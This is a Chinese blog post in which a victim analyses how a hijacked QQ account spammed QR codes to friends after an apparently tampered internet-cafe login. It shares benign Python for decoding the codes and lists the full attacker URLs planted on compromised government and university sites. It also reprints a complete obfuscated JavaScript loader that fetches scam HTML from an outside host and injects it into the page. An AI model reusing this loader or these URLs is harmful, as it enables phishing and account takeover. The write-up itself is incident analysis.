盗号骗子网站的新伎俩!
【技术分析】QQ被盗滥发广告后的24小时
0x01 > 背景
2024年12月6日星期五早8:55分,我的QQ在毫无征兆的情况下自动向164位好友批量发送了携带二维码的垃圾图片。9:02经过微信好友提醒QQ异常后,立刻拨打了腾讯客服对QQ进行自助冻结处理。
0x02 > QQ日常使用情况
这个QQ使用了十多年,微信盛行后QQ逐渐沦为游戏扫码登录器,有且只有部分游戏好友偶尔寒暄。十几年前登录方式从传统的键盘输入账密升级成扫码登录的形式之后我就一直使用扫码进行所有互联网账号的登录,且当时宣传很牛的“QQ安全中心”,号称永远不会被盗号,我现在登录QQ安全中心app之后还显示“至尊宝”的title……并且也早就开启了所有的异地登录提醒,二次验证等所有的安全措施。我的QQ账号密码从来都不借人,密码也和所有的互联网平台账号独立分离,不存在利用撞库登录我的QQ。偶尔会有游戏好友在QQ上叫我上号打lol,QQ也仅仅是7*24小时处于手机登录状态,几乎从未在电脑上登录。在这样的情况下,QQ是如何被别人接管,从而批量向部分好友发送的广告图片?
0x03 > 异常
2024年10月以来去网吧的次数越来越多,几乎每到周末都会蹲网吧包时被人虐(lol)。每次的lol都是通过网吧桌面“wegame网吧版”以扫码方式登录。2024年12月5日20:00左右,像往常一样我扫码登录了wegame,开了Seraphine分析别人战绩。一级团过后wegame突然弹窗账号异常,附带了个重登二维码。点开wegame,整个界面无响应,于是通过手机QQ顺理成章又扫了一遍二维码,手机显示的界面依旧是“WeGame请求登录”的通知,点了同意,继续lol,之后再没出现过异常,直到第二天事发。不清楚现在是否有这种技术可以劫持wegame,然后利用扫码的方式去接管QQ的聊天,从而滥发广告。在我印象中从来都是通过键盘输入的方式,安全措施没有做到位才有可能导致账号被盗,然后被拿来批量发送垃圾信息,或者在QQ空间捣乱。
0x04 > 164位好友的二维码分析
既然我确定了账号的安全性,也不知道背后的团伙通过什么技术实现这样的牛b操作,所以只能浅析这些二维码,看看有没有什么关联。当天晚上六点半对QQ解冻,开始分析二维码。
解析二维码的Python代码如下:
import os from PIL import Image import zxing def detect_qr_codes_in_folder(folder_path, output_file): """ 在指定文件夹内的所有图片中检测二维码,并将结果保存到文件。 :param folder_path: 存放图片的文件夹路径 :param output_file: 保存结果的文件路径 """ results = [] # 遍历文件夹内的所有文件 for root, dirs, files in os.walk(folder_path): for file in files: file_path = os.path.join(root, file) # 读取图片 img = Image.open(file_path) # 转换为灰度图像 img = img.convert('L') # 识别二维码 reader = zxing.BarCodeReader() barcode = reader.decode(img) if barcode: result = { "file_name": file, "type": barcode.type, } if hasattr(barcode, 'parsed'): result["data"] = barcode.parsed results.append(result) with open(output_file, 'w', encoding='utf-8') as f: for result in results: f.write(f"{result['file_name']},{result['type']},{result['data']}\n") folder_path = "164张二维码图" output_file = "qr_codes_results(164).txt" detect_qr_codes_in_folder(folder_path, output_file)
对解码结果归类分析:
from collections import defaultdict result_dict = defaultdict(set) # 打开文件并逐行处理 with open('qr_codes_results(164).txt', 'r') as file: for line in file.readlines(): # 分割每行数据,获取网址部分 url = line.split(',')[2].strip() # 提取主域名、路径和 key parts = url.split('/') domain = parts[2] path = '/'.join(parts[3:-1]) key = parts[-1].split('=')[1] # 将 key 添加到对应(主域名,路径)的集合中 result_dict[(domain, path)].add(key) for (domain, path), keys in result_dict.items(): print(f"主域名: {domain}, 路径: {path}, 参数: Keys: {', '.join(keys)}")
结果
主域名: yshj.jxlc.gov.cn, 路径: interface/profile/upload/2024/12/05/ld111_20241205165717A685.html, 参数: keys: FGJfocin, OTtIEeCB 主域名: dzsp.tjfsu.edu.cn, 路径: file/20241202/1733118355080_rk.xml, 参数: keys: OHAiWbmY, RIQwjmHZ, NBuPiXkg 主域名: www.cryshj.cn, 路径: profile/upload/2024/12/05/ld_20241205235206A009.html, 参数: keys: IJhwSvFc, jVxRGnzM 主域名: ganfutong.jiangxi.gov.cn, 路径: yscsyyjhpub/evaluation470/020009404b47462b996f680b2ytr78pb.html, 参数: keys: AkZdQgWz, pGXxAslP
进入js
var _0xodG = 'jsjiami.com.v7'; var _0x344aa0 = _0x5494; (function(_0x5726a3, _0x5a9fdb, _0xdde841, _0x3767a2, _0x4b49ae, _0x1ebbe7, _0x5d71af) { return _0x5726a3 = _0x5726a3 >> 0x7, _0x1ebbe7 = 'hs', _0x5d71af = 'hs', function(_0x34a7e2, _0x43eadb, _0x46273d, _0x435c67, _0x2f4a9c) { var _0x47fa7e = _0x5494; _0x435c67 = 'tfi', _0x1ebbe7 = _0x435c67 + _0x1ebbe7, _0x2f4a9c = 'up', _0x5d71af += _0x2f4a9c, _0x1ebbe7 = _0x46273d(_0x1ebbe7), _0x5d71af = _0x46273d(_0x5d71af), _0x46273d = 0x0; var _0x29a2e0 = _0x34a7e2(); while (!![] && --_0x3767a2 + _0x43eadb) { try { _0x435c67 = -parseInt(_0x47fa7e(0xee, 'pGk]')) / 0x1 * (parseInt(_0x47fa7e(0x101, 'dTyM')) / 0x2) + parseInt(_0x47fa7e(0xf5, 'pGk]')) / 0x3 + -parseInt(_0x47fa7e(0xe9, 'h6ty')) / 0x4 * (parseInt(_0x47fa7e(0xff, 'r2UP')) / 0x5) + -parseInt(_0x47fa7e(0xfd, 'dTyM')) / 0x6 + -parseInt(_0x47fa7e(0x106, '8Q%6')) / 0x7 + parseInt(_0x47fa7e(0xfc, 'bvPc')) / 0x8 + parseInt(_0x47fa7e(0xf7, ')SDx')) / 0x9 * (parseInt(_0x47fa7e(0xed, 'pGk]')) / 0xa); } catch (_0x173440) { _0x435c67 = _0x46273d; } finally { _0x2f4a9c = _0x29a2e0[_0x1ebbe7](); if (_0x5726a3 <= _0x3767a2) _0x46273d ? _0x4b49ae ? _0x435c67 = _0x2f4a9c : _0x4b49ae = _0x2f4a9c : _0x46273d = _0x2f4a9c; else { if (_0x46273d == _0x4b49ae['replace'](/[NMqefBywturSFdnXOYA=]/g, '')) { if (_0x435c67 === _0x43eadb) { _0x29a2e0['un' + _0x1ebbe7](_0x2f4a9c); break; } _0x29a2e0[_0x5d71af](_0x2f4a9c); } } } } }(_0xdde841, _0x5a9fdb, function(_0x511f4b, _0x5f264c, _0x3b1481, _0x408ce7, _0x52921f, _0x2ed875, _0x43d45e) { return _0x5f264c = '\x73\x70\x6c\x69\x74', _0x511f4b = arguments[0x0], _0x511f4b = _0x511f4b[_0x5f264c](''), _0x3b1481 = '\x72\x65\x76\x65\x72\x73\x65', _0x511f4b = _0x511f4b[_0x3b1481]('\x76'), _0x408ce7 = '\x6a\x6f\x69\x6e', (0x18d097, _0x511f4b[_0x408ce7]('')); }); }(0x6600, 0x8451d, _0x3ebc, 0xce), _0x3ebc) && (_0xodG = _0x3ebc); function _0x5494(_0x18b439, _0x305562) { var _0x3ebc83 = _0x3ebc(); return _0x5494 = function(_0x549439, _0x147462) { _0x549439 = _0x549439 - 0xe9; var _0x3592be = _0x3ebc83[_0x549439]; if (_0x5494['lZPwKv'] === undefined) { var _0x20176b = function(_0x4f8aae) { var _0x281773 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; var _0x3df68f = '' , _0x486cbd = ''; for (var _0x33edc7 = 0x0, _0x29c42b, _0x3eb3e0, _0x36acb3 = 0x0; _0x3eb3e0 = _0x4f8aae['charAt'](_0x36acb3++); ~_0x3eb3e0 && (_0x29c42b = _0x33edc7 % 0x4 ? _0x29c42b * 0x40 + _0x3eb3e0 : _0x3eb3e0, _0x33edc7++ % 0x4) ? _0x3df68f += String['fromCharCode'](0xff & _0x29c42b >> (-0x2 * _0x33edc7 & 0x6)) : 0x0) { _0x3eb3e0 = _0x281773['indexOf'](_0x3eb3e0); } for (var _0x6a5393 = 0x0, _0xce0ae = _0x3df68f['length']; _0x6a5393 < _0xce0ae; _0x6a5393++) { _0x486cbd += '%' + ('00' + _0x3df68f['charCodeAt'](_0x6a5393)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(_0x486cbd); }; var _0x19cf70 = function(_0x1ef7d1, _0x10e974) { var _0x49c240 = [], _0x2bde5f = 0x0, _0x1371f7, _0x16ed49 = ''; _0x1ef7d1 = _0x20176b(_0x1ef7d1); var _0x502c91; for (_0x502c91 = 0x0; _0x502c91 < 0x100; _0x502c91++) { _0x49c240[_0x502c91] = _0x502c91; } for (_0x502c91 = 0x0; _0x502c91 < 0x100; _0x502c91++) { _0x2bde5f = (_0x2bde5f + _0x49c240[_0x502c91] + _0x10e974['charCodeAt'](_0x502c91 % _0x10e974['length'])) % 0x100, _0x1371f7 = _0x49c240[_0x502c91], _0x49c240[_0x502c91] = _0x49c240[_0x2bde5f], _0x49c240[_0x2bde5f] = _0x1371f7; } _0x502c91 = 0x0, _0x2bde5f = 0x0; for (var _0x276bcc = 0x0; _0x276bcc < _0x1ef7d1['length']; _0x276bcc++) { _0x502c91 = (_0x502c91 + 0x1) % 0x100, _0x2bde5f = (_0x2bde5f + _0x49c240[_0x502c91]) % 0x100, _0x1371f7 = _0x49c240[_0x502c91], _0x49c240[_0x502c91] = _0x49c240[_0x2bde5f], _0x49c240[_0x2bde5f] = _0x1371f7, _0x16ed49 += String['fromCharCode'](_0x1ef7d1['charCodeAt'](_0x276bcc) ^ _0x49c240[(_0x49c240[_0x502c91] + _0x49c240[_0x2bde5f]) % 0x100]); } return _0x16ed49; }; _0x5494['TqCJnA'] = _0x19cf70, _0x18b439 = arguments, _0x5494['lZPwKv'] = !![]; } var _0x3a13cd = _0x3ebc83[0x0] , _0x30dc6d = _0x549439 + _0x3a13cd , _0x32fb8a = _0x18b439[_0x30dc6d]; return !_0x32fb8a ? (_0x5494['rKEezO'] === undefined && (_0x5494['rKEezO'] = !![]), _0x3592be = _0x5494['TqCJnA'](_0x3592be, _0x147462), _0x18b439[_0x30dc6d] = _0x3592be) : _0x3592be = _0x32fb8a, _0x3592be; } , _0x5494(_0x18b439, _0x305562); } var siteurl = '//ayxtfn.cn/' , $_GET = {}; function _0x3ebc() { var _0x343a9b = (function() { return [_0xodG, 'MyjsSFjuiuAyayNtmwif.croumqB.nYvnyO7XdeX==', 'W65pW4DvnW', 'WOK4WOddLmkjt2pdQea0F0tdRa', 'e1JdGSk/W5fhWOJdVCo0nWysWRC', 'W6SRW75PjSkFDa', 'tHfKsmo4W6H3WR4zWP59fmkY', 'WPRdGYdcPSkZ', 'ft/cOmomWOiiW7a', 'sHRcLG', 'W5NdI8k7ha'].concat((function() { return ['WQpdNCkiaCol', 'DhWcW5m', 'urRdGr3cLhOrp8kRDGWyWQu', 'W6ddOCkZe8oRlwO', 'W4NcMGbH', 'WONdVGrQ', 'cvbiW7O', 'iYvaWOv+W6ddN1FdHqpdPW', 'is1dWOT9WPRcJxVdJaxdJWVcHq', 'W7nWnNddIbZdQwtdJ8kW', 'kLbEW6uYdL/cHCo2db8'].concat((function() { return ['vSoGW5C', 'WPxcGwC8W6XoW6K', 'rMmWymo8W5O1WPG', 'fK1qW4FdSq', 'iI9hWOr/WPRcJNZdJcZdPrtcLW', 'WQqMzc0', 'm0TQWRhdLwZdJh8zWRq', 'EweyWPi', 'kG3dU8kysGz0eCo4W41AW4Cf', 'WRxdN8kiwSoihuhdUa']; }())); }())); }()); _0x3ebc = function() { return _0x343a9b; } ; return _0x3ebc(); } ;document[_0x344aa0(0xf3, 'dUHm')]['search']['replace'](/\??(?:([^=]+)=([^&]*)&?)/g, function() { var _0x303fd4 = { 'unwSS': function(_0x2bd1db, _0x1d7a1c) { return _0x2bd1db(_0x1d7a1c); } }; function _0x5709a5(_0x15949b) { var _0x2033b1 = _0x5494; return _0x303fd4[_0x2033b1(0xf4, 'WT7d')](decodeURIComponent, _0x15949b['split']('+')[_0x2033b1(0xeb, 'yz(w')]('\x20')); } $_GET[_0x5709a5(arguments[0x1])] = _0x303fd4['unwSS'](_0x5709a5, arguments[0x2]); }), $(function() { var _0x3ce7ca = _0x344aa0 , _0xfc6094 = { 'TxAxi': function(_0x23681c, _0x58fd71) { return _0x23681c == _0x58fd71; }, 'HGDmR': function(_0x37e703, _0x374c91) { return _0x37e703(_0x374c91); }, 'pnMcU': _0x3ce7ca(0xf1, 'HHK2'), 'BkeOc': _0x3ce7ca(0xec, 'WT7d') } , _0x3f71e2 = $_GET[_0xfc6094[_0x3ce7ca(0xfb, 'DdOm')]]; $[_0x3ce7ca(0xf8, '[84X')](siteurl + _0x3ce7ca(0xfa, 'h6ty'), { 'key': _0x3f71e2 }, function(_0x598595) { var _0x405169 = _0x3ce7ca; _0xfc6094['TxAxi'](_0x598595[_0x405169(0xf6, 'cpsx')], 0xc8) ? document[_0x405169(0x104, 'h6ty')](_0x598595[_0x405169(0x105, 'pGk]')]['html']) : _0xfc6094['HGDmR']($, _0x405169(0x103, '7k@4'))[_0x405169(0xea, '[]$*')](_0x598595[_0x405169(0x102, 'dTyM')]); }, _0xfc6094[_0x3ce7ca(0x100, '%g$t')]); }); var version_ = 'jsjiami.com.v7';
逆向让我头大,整个逻辑看来看去好像就是从url中获取了key,然后带着对应key去请求ayxtfn.cn,返回了新的html代码,最后插入到网页当中。ayxtfn.cn网站显示是一个外链网,主域名是外链兔,这个团伙可能是用了外链兔又跳了一次,才最终将开头的界面返回给用户。这个最终的界面是类似聊天客服系统,可能是使用websocket实现的,还没具体测试就挂了。要追查的话除非从外链兔那边,或者腾讯的对象存储那边开始。
0x06 > 后续
写这篇文章的时候是2024年12月8日星期天,当我再对网页进行分析的时候发现所有的二维码对应网页都返回:无可用域名池,意味着现在有人扫码进去也看不到之前那个魔幻的界面了。
刚一开始我被惊讶到,一个gov.cn结尾的网页居然还能被人黑了放广告,网络安全工作还有待加强,甚至四个域名里,有5aSp5rSl5aSW5Zu96K+t5aSn5a2m,有5bSH5LuB5Y6/5Y+R5bGV5pS56Z2p5LqL5Yqh5Lit5b+D,有5rGf6KW/55yB6LWj5pyN6YCa,还有5rGf6KW/5oqa5bee5biC5Li05bed5Yy65Lq65rCR5pS/5bqc5Yqe5YWs5a6k,想不到怎么会有人专门利用这些zf机构,教育系统的网站漏洞进行非法活动,胆子很大。但是更惊讶的是怎么在我毫不知情的情况下掌控我的QQ聊天的。后续我再去这个网吧的任意一台机器上又测试了一遍这几个域名,第一次进入的时候,index.js文件居然显示“从内存中加载”,完全说明这个网吧确实是有问题的了。